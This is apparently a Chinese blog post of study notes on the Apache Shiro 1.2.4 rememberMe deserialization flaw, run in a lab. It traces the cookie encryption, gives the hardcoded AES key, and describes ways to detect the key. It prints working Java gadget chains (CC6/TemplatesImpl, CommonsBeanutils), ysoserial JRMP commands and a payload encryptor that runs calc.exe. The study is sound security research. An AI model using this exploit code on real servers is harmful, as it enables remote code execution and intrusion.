shiro-550学习
环境#
这里是使用的P牛提供的环境【shiro1.2.4】
https://github.com/phith0n/JavaThings/blob/master/shirodemo
漏洞原理#
根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操做
Shiro v1.2.4中使用RememberMe
功能时,使用了AES
对Cookie
进行加密,但AES
密钥硬编码在代码中且不变,因此可以进行加密解密,并触发反序列化漏洞完成任意代码执行。
加密过程#
在org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin
方法下断点。
跟进onSuccessfulLogin
方法
调用forgetIdentity
方法对subject进行处理。subject可以理解为用户,对于用户的安全操作等
https://blog.csdn.net/qq_21046665/article/details/79735922
跟进forgetIdentity
先是获取request和response然后继续调用forgetIdentity
getCookie
就是获取cookie,removerFrom
其实就是在respons头部设置Set-Cookie:rememberMe=deleteMe
回到onSuccessfulLogin
如果设置RememberMe
进入rememberIdentity
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
}
rememberIdentity
方法代码中,调用convertPrincipalsToBytes
对用户名进行处理。
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
进入convertPrincipalsToBytes
调用serialize对用户名进行处理。
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
跟进serialize
方法来到org/apache/shiro/io/DefaultSerializer.java,显然对用户名进行了序列化操作
再回到convertPrincipalsToBytes
,接着对序列化的数据进行加密,跟进encrypt
方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding。
然后入跟进encrypt
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
其中getEncryptionCipherKey()
进过寻找他是获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==。
加密完成之后返回rememberIdentity
进入rememberSerializedIdentity
对加密的bytes进行base64编码,保存在cookie中
解密过程#
KEY构造Payload正确的情况#
对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals
下断点。
getRememberedSerializedIdentity
返回解码后的bytes
返回getRememberedPrincipals
到进入convertBytesToPrincipals
进行解密然后返回bytes数据
进入deserialize(bytes),这里提醒下deserialize类型是PrincipalCollection
后面需要用上
进行反序列化返回,其中有一些坑需要注意ClassResolvingObjectInputStream
是ObjectInputStream
的子类,其重写了 resolveClass
方法,这个后面再提吧。
KEY正确Payload错误的情况1#
解密错误会直接抛出异常到
跟进之后到forgetIdentity(context)
也就和上面加密那个一样了设置respons头部设置Set-Cookie:rememberMe=deleteMe
KEY正确Payload错误的情况2#
还有一种情况是在反序列化的 gadget 实际上并不是继承了 PrincipalCollection ,所以这里进行类型转换会报错。也就是我们上面提到的查看类型的坑一,后面流程和上面也是一样了。
漏洞检测与Key的获取#
检测Shiro当然第一步是检测该WEB站点是否使用了Shiro,最简单的方法就是请求的Cookie添加rememberMe=xxx,然后看响应是否返回Set-Cookie: rememberMe=deleteMe。
其次我们的Key以及gadget都是未知的,如果对KEY和gadget进行遍历尝试,那枚举的次数就是笛卡尔积
并且KEY都没检测出来跑gadget也是无用功。
依赖shiro自身进行key检测#
所以根据上面提到的解密的流程,要想达到只依赖shiro自身进行key检测,只需要满足两点:
1.构造一个继承 PrincipalCollection 的序列化对象。
2.key正确情况下不返回 deleteMe
,key错误情况下返回 deleteMe
。
基于这两个条件下 SimplePrincipalCollection
这个类自然就出现了,这个类可被序列化,继承了 PrincipalCollection
public class PrincipalCollection_shiro {
public static void main(String[] args) throws IOException, InterruptedException {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream obj = new ObjectOutputStream(barr);
obj.writeObject(simplePrincipalCollection);
AesCipherService aes = new AesCipherService();
byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
obj.close();
}
}
当Key正确时不返回rememberMe=deleteMe
当Key错误时返回rememberMe=deleteMe
结合Dnslog与URLDNS检测Key#
如果目标机器出出网我们也可以使用URLDNS进行探测,可以在对应的头部添加Key的前缀来进行爆破Key,代码也是直接使用ysoserial的即可。需要注意的是使用URLDNS检测后DNSLOG平台存在DNS记录并不完全等同于可以出外网,还有可能是目标只支持DNS解析,但是TCP协议等是不能出外网。其次,可以通过CommonBeanutils1等其他gadget执行wget或者curl命令,这里需要考虑操作系统情况,Windows则是certutil等命令。
利用时间延迟或报错#
时间延迟
可以利用createTemplatesImplTime
链创建即可对于没有使用createTemplatesImplTime
链的进行反射+Transformer创建就OK。
Thread.currentThread().sleep(10000L);
报错
需要考虑java异常的返回报错或者提示,大多时候这是一种不可靠的方法
String result = "shiro-Vul-Discover";
throw new NoClassDefFoundError(new String(result));
利用JRMP协议#
@xiashang师傅提供的思路,例如我们JRMPClient ‘xxx.dnslog.cn’
可能目标机器并不支持DNS解析,但是他是出网的,所以可以我们VPS监听然后Client反连我们的vps我们VPS去dnslog检测即可。
利用方式#
这里以两种方式来记录学习。一种是有commons-collections-3.2.1
依赖另一种是没有依赖的情况来学习。因为自带的shiro550用的是commons-collections-3.2.1
,当然目标机器如果没装也是可以正常运行没问题的。
有依赖的利用链#
经过上面的知识我们也已经知道了,shiro的利用流程。所以我们先直接用cc6生成exp盲打
无法加载类名为cc.Transfomer的类[[代表是一个数组
这里直接说结论吧Tomcat
和JDK
的Classpath
是不公用且不同的,Tomcat
启动时,不会用JDK
的Classpath
,需要在catalina.sh
中进行单独设置。所以我们不能包含非java自身数组。
建议阅读以下文章及其自己调试理解更加深刻:
https://xz.aliyun.com/t/7950#toc-3
https://blog.zsxsoft.com/post/35
这里前辈们大概提供的方法也是很多列举两个。一个是JRMP一个是无数组
JRMP#
orange师傅在此文提到了JRMP来反弹shell,JRMP原理可以看上一文。
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
java -jar ysoserial.jar ysoserial.payloads.JRMPClient "127.0.0.1:9997" > 2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections6 "calc"
生成base64编码的byte流代码
public class shiro_jm {
public static void main(String[] args) throws IOException {
File file = new File("C:\\Users\\Administrator\\Desktop\\2");
FileInputStream inputFile = new FileInputStream(file);
byte[] buffer = new byte[(int)file.length()];
inputFile.read(buffer);
AesCipherService aes = new AesCipherService();
byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(buffer, key);
System.out.printf(ciphertext.toString());
}
}
CommonsCollectionsK1链#
我们在CC3学的TemplatesImpl
就要登场了。其中cc3也是包含Transformer[]
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
cc6又用到了TiedMapEntry
类,他有两个参数,因为我们用到了ConstantTransformer
这个类所以我们不需要管key的内容到底是什么就可以RCE
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
但是因为不能用ChainedTransformer
所以我们查看TiedMapEntry
类的key,此类下面有getValue
调用了map的get方法,并传入key:
public Object getValue() {
return map.get(key);
}
当这个map是LazyMap时,其get方法就是触发transform的关键点
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以就比较巧我们直接把构造好的对象放到key的位置就可以了。
构造恶意对象
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() throws IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, InterruptedException {
super();
// Thread.currentThread().sleep(10000L);
Runtime.getRuntime().exec("calc.exe");
}
}
cc6_Templates
public class cc6_Templates {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
// outerMap.remove("valuevalue");
setFieldValue(transformer, "iMethodName", "newTransformer");
serialize(expMap);
unserialize("cc6_templates.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templates.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
无依赖的利用方式#
上面在利用方式也说到shiro无commons-collections也是可以正常使用的,我们现在尝试把maven里面的cc依赖注释掉我们可以看到Commons-beanutils
包是存在的
commons-beanutils
本来依赖于commons-collections
,但是在Shiro中,它的commons-beanutils
虽
然包含了一部分commons-collections
的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections
学过Commons Beanutils
链的人应该清楚干嘛的,这里简单介绍一下。
commons-beanutils
中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任
意JavaBean的getter
方法,比如:
PropertyUtils.getProperty(new Cat(), "name");
就不需要去手动输入getname函数调用了。
而我们使用commons-beanutils
链的时候需要用到BeanComparator
类,而初始化BeanComparator
会调用
org.apache.commons.collections.comparators.ComparableComparator
类所以我们还是得使用commons.collections包
我们再去看下BeanComparator
的构造函数看下comparator是否可控呢是否可以替换掉commons.collections下的comparator呢?
我们发现是可以通过传参控制的如果不传参就默认使用commons.collections类
所以我们现在需要找到一个类来替换它,当然需要满足一些条件:
-
实现 java.util.Comparator 接口
-
实现 java.io.Serializable 接口
-
Java、shiro或commons-beanutils自带,且兼容性强
根据P牛的文章找到的类是 CaseInsensitiveComparator
,当然还可以使用java.util.Collection$ReverseComparator
等
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
这个 CaseInsensitiveComparator
类是 java.lang.String
类下的一个内部私有类,其实现了
Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品
public class CommonsBeanutils_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// Comparator comparator = new TransformingComparator(transformer);
// BeanComparator comparator = new BeanComparator();
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add("1");
priorityQueue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
unserialize("CommonsBeanutils.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CommonsBeanutils.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
那我们直接打过去会发现
serialVersionUID不一致
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通
信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会
根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方
的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患【来自p牛】
因为我们环境版本是1.8.3而我们序列化对象commons-beanutils是1.9.2所以当我们两个版本相同的时候
还有很多的利用手法,以及内网不出网等复杂情况。后面再一一学习。
参考:#
https://sec-in.com/article/468
https://blog.zsxsoft.com/post/35
https://sec-in.com/article/468
https://www.anquanke.com/post/id/192619#h2-2
https://xz.aliyun.com/t/7950#toc-3
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具